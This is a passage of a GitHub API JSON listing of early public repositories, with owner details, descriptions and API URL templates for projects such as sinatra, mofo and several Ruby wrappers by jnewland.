rinDave","html_url":"https://github.com/KirinDave","followers_url":"https://api.github.com/users/KirinDave/followers","following_url":"https://api.github.com/users/KirinDave/following{/other_user}","gists_url":"https://api.github.com/users/KirinDave/gists{/gist_id}","starred_url":"https://api.github.com/users/KirinDave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KirinDave/subscriptions","organizations_url":"https://api.github.com/users/KirinDave/orgs","repos_url":"https://api.github.com/users/KirinDave/repos","events_url":"https://api.github.com/users/KirinDave/events{/privacy}","received_events_url":"https://api.github.com/users/KirinDave/received_events","type":"User"},"private":false,"html_url":"https://github.com/KirinDave/phosphor","description":" A ruby library to inexpensively emit runtime events via Dtrace","fork":false,"url":"https://api.github.com/repos/KirinDave/phosphor","forks_url":"https://api.github.com/repos/KirinDave/phosphor/forks","keys_url":"https://api.github.com/repos/KirinDave/phosphor/keys{/key_id}","collaborators_url":"https://api.github.com/repos/KirinDave/phosphor/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/KirinDave/phosphor/teams","hooks_url":"https://api.github.com/repos/KirinDave/phosphor/hooks","issue_events_url":"https://api.github.com/repos/KirinDave/phosphor/issues/events{/number}","events_url":"https://api.github.com/repos/KirinDave/phosphor/events","assignees_url":"https://api.github.com/repos/KirinDave/phosphor/assignees{/user}","branches_url":"https://api.github.com/repos/KirinDave/phosphor/branches{/branch}","tags_url":"https://api.github.com/repos/KirinDave/phosphor/tags","blobs_url":"https://api.github.com/repos/KirinDave/phosphor/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/KirinDave/phosphor/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/KirinDave/phosphor/git/refs{/sha}","trees_url":"https://api.github.com/repos/KirinDave/phosphor/git/trees{/sha}","statuses_url":"https://api.github.com/repos/KirinDave/phosphor/statuses/{sha}","languages_url":"https://api.github.com/repos/KirinDave/phosphor/languages","stargazers_url":"https://api.github.com/repos/KirinDave/phosphor/stargazers","contributors_url":"https://api.github.com/repos/KirinDave/phosphor/contributors","subscribers_url":"https://api.github.com/repos/KirinDave/phosphor/subscribers","subscription_url":"https://api.github.com/repos/KirinDave/phosphor/subscription","commits_url":"https://api.github.com/repos/KirinDave/phosphor/commits{/sha}","git_commits_url":"https://api.github.com/repos/KirinDave/phosphor/git/commits{/sha}","comments_url":"https://api.github.com/repos/KirinDave/phosphor/comments{/number}","issue_comment_url":"https://api.github.com/repos/KirinDave/phosphor/issues/comments/{number}","contents_url":"https://api.github.com/repos/KirinDave/phosphor/contents/{+path}","compare_url":"https://api.github.com/repos/KirinDave/phosphor/compare/{base}...{head}","merges_url":"https://api.github.com/repos/KirinDave/phosphor/merges","archive_url":"https://api.github.com/repos/KirinDave/phosphor/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/KirinDave/phosphor/downloads","issues_url":"https://api.github.com/repos/KirinDave/phosphor/issues{/number}","pulls_url":"https://api.github.com/repos/KirinDave/phosphor/pulls{/number}","milestones_url":"https://api.github.com/repos/KirinDave/phosphor/milestones{/number}","notifications_url":"https://api.github.com/repos/KirinDave/phosphor/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/KirinDave/phosphor/labels{/name}"},{"id":98,"name":"sinatra","full_name":"bmizerany/sinatra","owner":{"login":"bmizerany","id":46,"avatar_url":"https://2.gravatar.com/avatar/1a250566b475961b9b36abf359950c76?d=https%3A%2F%2Fidenticons.github.com%2Fd9d4f495e875a2e075a1a4a6e1b9770f.png","gravatar_id":"1a250566b475961b9b36abf359950c76","url":"https://api.github.com/users/bmizerany","html_url":"https://github.com/bmizerany","followers_url":"https://api.github.com/users/bmizerany/followers","following_url":"https://api.github.com/users/bmizerany/following{/other_user}","gists_url":"https://api.github.com/users/bmizerany/gists{/gist_id}","starred_url":"https://api.github.com/users/bmizerany/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bmizerany/subscriptions","organizations_url":"https://api.github.com/users/bmizerany/orgs","repos_url":"https://api.github.com/users/bmizerany/repos","events_url":"https://api.github.com/users/bmizerany/events{/privacy}","received_events_url":"https://api.github.com/users/bmizerany/received_events","type":"User"},"private":false,"html_url":"https://github.com/bmizerany/sinatra","description":"(offically at github.com/sinatra/sinatra) Classy web-development dressed in a DSL","fork":false,"url":"https://api.github.com/repos/bmizerany/sinatra","forks_url":"https://api.github.com/repos/bmizerany/sinatra/forks","keys_url":"https://api.github.com/repos/bmizerany/sinatra/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bmizerany/sinatra/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bmizerany/sinatra/teams","hooks_url":"https://api.github.com/repos/bmizerany/sinatra/hooks","issue_events_url":"https://api.github.com/repos/bmizerany/sinatra/issues/events{/number}","events_url":"https://api.github.com/repos/bmizerany/sinatra/events","assignees_url":"https://api.github.com/repos/bmizerany/sinatra/assignees{/user}","branches_url":"https://api.github.com/repos/bmizerany/sinatra/branches{/branch}","tags_url":"https://api.github.com/repos/bmizerany/sinatra/tags","blobs_url":"https://api.github.com/repos/bmizerany/sinatra/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bmizerany/sinatra/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bmizerany/sinatra/git/refs{/sha}","trees_url":"https://api.github.com/repos/bmizerany/sinatra/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bmizerany/sinatra/statuses/{sha}","languages_url":"https://api.github.com/repos/bmizerany/sinatra/languages","stargazers_url":"https://api.github.com/repos/bmizerany/sinatra/stargazers","contributors_url":"https://api.github.com/repos/bmizerany/sinatra/contributors","subscribers_url":"https://api.github.com/repos/bmizerany/sinatra/subscribers","subscription_url":"https://api.github.com/repos/bmizerany/sinatra/subscription","commits_url":"https://api.github.com/repos/bmizerany/sinatra/commits{/sha}","git_commits_url":"https://api.github.com/repos/bmizerany/sinatra/git/commits{/sha}","comments_url":"https://api.github.com/repos/bmizerany/sinatra/comments{/number}","issue_comment_url":"https://api.github.com/repos/bmizerany/sinatra/issues/comments/{number}","contents_url":"https://api.github.com/repos/bmizerany/sinatra/contents/{+path}","compare_url":"https://api.github.com/repos/bmizerany/sinatra/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bmizerany/sinatra/merges","archive_url":"https://api.github.com/repos/bmizerany/sinatra/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bmizerany/sinatra/downloads","issues_url":"https://api.github.com/repos/bmizerany/sinatra/issues{/number}","pulls_url":"https://api.github.com/repos/bmizerany/sinatra/pulls{/number}","milestones_url":"https://api.github.com/repos/bmizerany/sinatra/milestones{/number}","notifications_url":"https://api.github.com/repos/bmizerany/sinatra/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bmizerany/sinatra/labels{/name}"},{"id":102,"name":"gsa-prototype","full_name":"jnewland/gsa-prototype","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/gsa-prototype","description":"Prototype/Javascript wrapper for the Google Search Appliance Search Protocol. Fancy cross-domain JSON support included.","fork":false,"url":"https://api.github.com/repos/jnewland/gsa-prototype","forks_url":"https://api.github.com/repos/jnewland/gsa-prototype/forks","keys_url":"https://api.github.com/repos/jnewland/gsa-prototype/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/gsa-prototype/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/gsa-prototype/teams","hooks_url":"https://api.github.com/repos/jnewland/gsa-prototype/hooks","issue_events_url":"https://api.github.com/repos/jnewland/gsa-prototype/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/gsa-prototype/events","assignees_url":"https://api.github.com/repos/jnewland/gsa-prototype/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/gsa-prototype/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/gsa-prototype/tags","blobs_url":"https://api.github.com/repos/jnewland/gsa-prototype/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/gsa-prototype/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/gsa-prototype/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/gsa-prototype/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/gsa-prototype/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/gsa-prototype/languages","stargazers_url":"https://api.github.com/repos/jnewland/gsa-prototype/stargazers","contributors_url":"https://api.github.com/repos/jnewland/gsa-prototype/contributors","subscribers_url":"https://api.github.com/repos/jnewland/gsa-prototype/subscribers","subscription_url":"https://api.github.com/repos/jnewland/gsa-prototype/subscription","commits_url":"https://api.github.com/repos/jnewland/gsa-prototype/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/gsa-prototype/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/gsa-prototype/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/gsa-prototype/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/gsa-prototype/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/gsa-prototype/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/gsa-prototype/merges","archive_url":"https://api.github.com/repos/jnewland/gsa-prototype/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/gsa-prototype/downloads","issues_url":"https://api.github.com/repos/jnewland/gsa-prototype/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/gsa-prototype/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/gsa-prototype/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/gsa-prototype/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/gsa-prototype/labels{/name}"},{"id":105,"name":"duplikate","full_name":"technoweenie/duplikate","owner":{"login":"technoweenie","id":21,"avatar_url":"https://1.gravatar.com/avatar/821395fe70906c8290df7f18ac4ac6cf?d=https%3A%2F%2Fidenticons.github.com%2F3c59dc048e8850243be8079a5c74d079.png","gravatar_id":"821395fe70906c8290df7f18ac4ac6cf","url":"https://api.github.com/users/technoweenie","html_url":"https://github.com/technoweenie","followers_url":"https://api.github.com/users/technoweenie/followers","following_url":"https://api.github.com/users/technoweenie/following{/other_user}","gists_url":"https://api.github.com/users/technoweenie/gists{/gist_id}","starred_url":"https://api.github.com/users/technoweenie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technoweenie/subscriptions","organizations_url":"https://api.github.com/users/technoweenie/orgs","repos_url":"https://api.github.com/users/technoweenie/repos","events_url":"https://api.github.com/users/technoweenie/events{/privacy}","received_events_url":"https://api.github.com/users/technoweenie/received_events","type":"User"},"private":false,"html_url":"https://github.com/technoweenie/duplikate","description":"Syncs one directory to another (example: a git project to an svn repo)","fork":false,"url":"https://api.github.com/repos/technoweenie/duplikate","forks_url":"https://api.github.com/repos/technoweenie/duplikate/forks","keys_url":"https://api.github.com/repos/technoweenie/duplikate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/technoweenie/duplikate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/technoweenie/duplikate/teams","hooks_url":"https://api.github.com/repos/technoweenie/duplikate/hooks","issue_events_url":"https://api.github.com/repos/technoweenie/duplikate/issues/events{/number}","events_url":"https://api.github.com/repos/technoweenie/duplikate/events","assignees_url":"https://api.github.com/repos/technoweenie/duplikate/assignees{/user}","branches_url":"https://api.github.com/repos/technoweenie/duplikate/branches{/branch}","tags_url":"https://api.github.com/repos/technoweenie/duplikate/tags","blobs_url":"https://api.github.com/repos/technoweenie/duplikate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/technoweenie/duplikate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/technoweenie/duplikate/git/refs{/sha}","trees_url":"https://api.github.com/repos/technoweenie/duplikate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/technoweenie/duplikate/statuses/{sha}","languages_url":"https://api.github.com/repos/technoweenie/duplikate/languages","stargazers_url":"https://api.github.com/repos/technoweenie/duplikate/stargazers","contributors_url":"https://api.github.com/repos/technoweenie/duplikate/contributors","subscribers_url":"https://api.github.com/repos/technoweenie/duplikate/subscribers","subscription_url":"https://api.github.com/repos/technoweenie/duplikate/subscription","commits_url":"https://api.github.com/repos/technoweenie/duplikate/commits{/sha}","git_commits_url":"https://api.github.com/repos/technoweenie/duplikate/git/commits{/sha}","comments_url":"https://api.github.com/repos/technoweenie/duplikate/comments{/number}","issue_comment_url":"https://api.github.com/repos/technoweenie/duplikate/issues/comments/{number}","contents_url":"https://api.github.com/repos/technoweenie/duplikate/contents/{+path}","compare_url":"https://api.github.com/repos/technoweenie/duplikate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/technoweenie/duplikate/merges","archive_url":"https://api.github.com/repos/technoweenie/duplikate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/technoweenie/duplikate/downloads","issues_url":"https://api.github.com/repos/technoweenie/duplikate/issues{/number}","pulls_url":"https://api.github.com/repos/technoweenie/duplikate/pulls{/number}","milestones_url":"https://api.github.com/repos/technoweenie/duplikate/milestones{/number}","notifications_url":"https://api.github.com/repos/technoweenie/duplikate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/technoweenie/duplikate/labels{/name}"},{"id":118,"name":"lazy_record","full_name":"jnewland/lazy_record","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/lazy_record","description":"Proof of concept Lazy-Loading for ActiveRecord. Inspired by the 'kickers' of Ambition.","fork":false,"url":"https://api.github.com/repos/jnewland/lazy_record","forks_url":"https://api.github.com/repos/jnewland/lazy_record/forks","keys_url":"https://api.github.com/repos/jnewland/lazy_record/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/lazy_record/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/lazy_record/teams","hooks_url":"https://api.github.com/repos/jnewland/lazy_record/hooks","issue_events_url":"https://api.github.com/repos/jnewland/lazy_record/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/lazy_record/events","assignees_url":"https://api.github.com/repos/jnewland/lazy_record/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/lazy_record/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/lazy_record/tags","blobs_url":"https://api.github.com/repos/jnewland/lazy_record/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/lazy_record/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/lazy_record/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/lazy_record/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/lazy_record/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/lazy_record/languages","stargazers_url":"https://api.github.com/repos/jnewland/lazy_record/stargazers","contributors_url":"https://api.github.com/repos/jnewland/lazy_record/contributors","subscribers_url":"https://api.github.com/repos/jnewland/lazy_record/subscribers","subscription_url":"https://api.github.com/repos/jnewland/lazy_record/subscription","commits_url":"https://api.github.com/repos/jnewland/lazy_record/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/lazy_record/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/lazy_record/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/lazy_record/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/lazy_record/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/lazy_record/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/lazy_record/merges","archive_url":"https://api.github.com/repos/jnewland/lazy_record/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/lazy_record/downloads","issues_url":"https://api.github.com/repos/jnewland/lazy_record/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/lazy_record/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/lazy_record/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/lazy_record/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/lazy_record/labels{/name}"},{"id":119,"name":"gsa-feeds","full_name":"jnewland/gsa-feeds","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/gsa-feeds","description":"A Ruby wrapper for the Google Search Appliance Feeds Protocol","fork":false,"url":"https://api.github.com/repos/jnewland/gsa-feeds","forks_url":"https://api.github.com/repos/jnewland/gsa-feeds/forks","keys_url":"https://api.github.com/repos/jnewland/gsa-feeds/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/gsa-feeds/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/gsa-feeds/teams","hooks_url":"https://api.github.com/repos/jnewland/gsa-feeds/hooks","issue_events_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/gsa-feeds/events","assignees_url":"https://api.github.com/repos/jnewland/gsa-feeds/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/gsa-feeds/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/gsa-feeds/tags","blobs_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/gsa-feeds/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/gsa-feeds/languages","stargazers_url":"https://api.github.com/repos/jnewland/gsa-feeds/stargazers","contributors_url":"https://api.github.com/repos/jnewland/gsa-feeds/contributors","subscribers_url":"https://api.github.com/repos/jnewland/gsa-feeds/subscribers","subscription_url":"https://api.github.com/repos/jnewland/gsa-feeds/subscription","commits_url":"https://api.github.com/repos/jnewland/gsa-feeds/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/gsa-feeds/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/gsa-feeds/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/gsa-feeds/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/gsa-feeds/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/gsa-feeds/merges","archive_url":"https://api.github.com/repos/jnewland/gsa-feeds/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/gsa-feeds/downloads","issues_url":"https://api.github.com/repos/jnewland/gsa-feeds/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/gsa-feeds/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/gsa-feeds/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/gsa-feeds/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/gsa-feeds/labels{/name}"},{"id":120,"name":"votigoto","full_name":"jnewland/votigoto","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/votigoto","description":"Ruby API wrapper for the TiVoToGo protocol. Use it to access a list of recorded shows and programs on your Tivo.","fork":false,"url":"https://api.github.com/repos/jnewland/votigoto","forks_url":"https://api.github.com/repos/jnewland/votigoto/forks","keys_url":"https://api.github.com/repos/jnewland/votigoto/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnewland/votigoto/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnewland/votigoto/teams","hooks_url":"https://api.github.com/repos/jnewland/votigoto/hooks","issue_events_url":"https://api.github.com/repos/jnewland/votigoto/issues/events{/number}","events_url":"https://api.github.com/repos/jnewland/votigoto/events","assignees_url":"https://api.github.com/repos/jnewland/votigoto/assignees{/user}","branches_url":"https://api.github.com/repos/jnewland/votigoto/branches{/branch}","tags_url":"https://api.github.com/repos/jnewland/votigoto/tags","blobs_url":"https://api.github.com/repos/jnewland/votigoto/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnewland/votigoto/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnewland/votigoto/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnewland/votigoto/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnewland/votigoto/statuses/{sha}","languages_url":"https://api.github.com/repos/jnewland/votigoto/languages","stargazers_url":"https://api.github.com/repos/jnewland/votigoto/stargazers","contributors_url":"https://api.github.com/repos/jnewland/votigoto/contributors","subscribers_url":"https://api.github.com/repos/jnewland/votigoto/subscribers","subscription_url":"https://api.github.com/repos/jnewland/votigoto/subscription","commits_url":"https://api.github.com/repos/jnewland/votigoto/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnewland/votigoto/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnewland/votigoto/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnewland/votigoto/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnewland/votigoto/contents/{+path}","compare_url":"https://api.github.com/repos/jnewland/votigoto/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnewland/votigoto/merges","archive_url":"https://api.github.com/repos/jnewland/votigoto/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnewland/votigoto/downloads","issues_url":"https://api.github.com/repos/jnewland/votigoto/issues{/number}","pulls_url":"https://api.github.com/repos/jnewland/votigoto/pulls{/number}","milestones_url":"https://api.github.com/repos/jnewland/votigoto/milestones{/number}","notifications_url":"https://api.github.com/repos/jnewland/votigoto/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnewland/votigoto/labels{/name}"},{"id":127,"name":"mofo","full_name":"defunkt/mofo","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/mofo","description":"Mofo was a fast and simple microformat parser, based on a concise DSL and Hpricot. No longer maintained.","fork":false,"url":"https://api.github.com/repos/defunkt/mofo","forks_url":"https://api.github.com/repos/defunkt/mofo/forks","keys_url":"https://api.github.com/repos/defunkt/mofo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/mofo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/mofo/teams","hooks_url":"https://api.github.com/repos/defunkt/mofo/hooks","issue_events_url":"https://api.github.com/repos/defunkt/mofo/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/mofo/events","assignees_url":"https://api.github.com/repos/defunkt/mofo/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/mofo/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/mofo/tags","blobs_url":"https://api.github.com/repos/defunkt/mofo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/mofo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/mofo/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/mofo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/mofo/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/mofo/languages","stargazers_url":"https://api.github.com/repos/defunkt/mofo/stargazers","contributors_url":"https://api.github.com/repos/defunkt/mofo/contributors","subscribers_url":"https://api.github.com/repos/defunkt/mofo/subscribers","subscription_url":"https://api.github.com/repos/defunkt/mofo/subscription","commits_url":"https://api.github.com/repos/defunkt/mofo/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/mofo/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/mofo/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/mofo/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/mofo/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/mofo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/mofo/merges","archive_url":"https://api.github.com/repos/defunkt/mofo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/mofo/downloads","issues_url":"https://api.github.com/repos/defunkt/mofo/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/mofo/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/mofo/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/mofo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/mofo/labels{/name}"},{"id":129,"name":"xhtmlize","full_name":"jnewland/xhtmlize","owner":{"login":"jnewland","id":47,"avatar_url":"https://1.gravatar.com/avatar/f317439da90c3176adc8938bcf5181ff?d=https%3A%2F%2Fidenticons.github.com%2F67c6a1e7ce56d3d6fa748ab6d9af3fd7.png","gravatar_id":"f317439da90c3176adc8938bcf5181ff","url":"https://api.github.com/users/jnewland","html_url":"https://github.com/jnewland","followers_url":"https://api.github.com/users/jnewland/followers","following_url":"https://api.github.com/users/jnewland/following{/other_user}","gists_url":"https://api.github.com/users/jnewland/gists{/gist_id}","starred_url":"https://api.github.com/users/jnewland/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnewland/subscriptions","organizations_url":"https://api.github.com/users/jnewland/orgs","repos_url":"https://api.github.com/users/jnewland/repos","events_url":"https://api.github.com/users/jnewland/events{/privacy}","received_events_url":"https://api.github.com/users/jnewland/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnewland/xhtmlize","description":"Rails helper to XHTML-ize chunks of user submitted HTML. For the standardista in all of 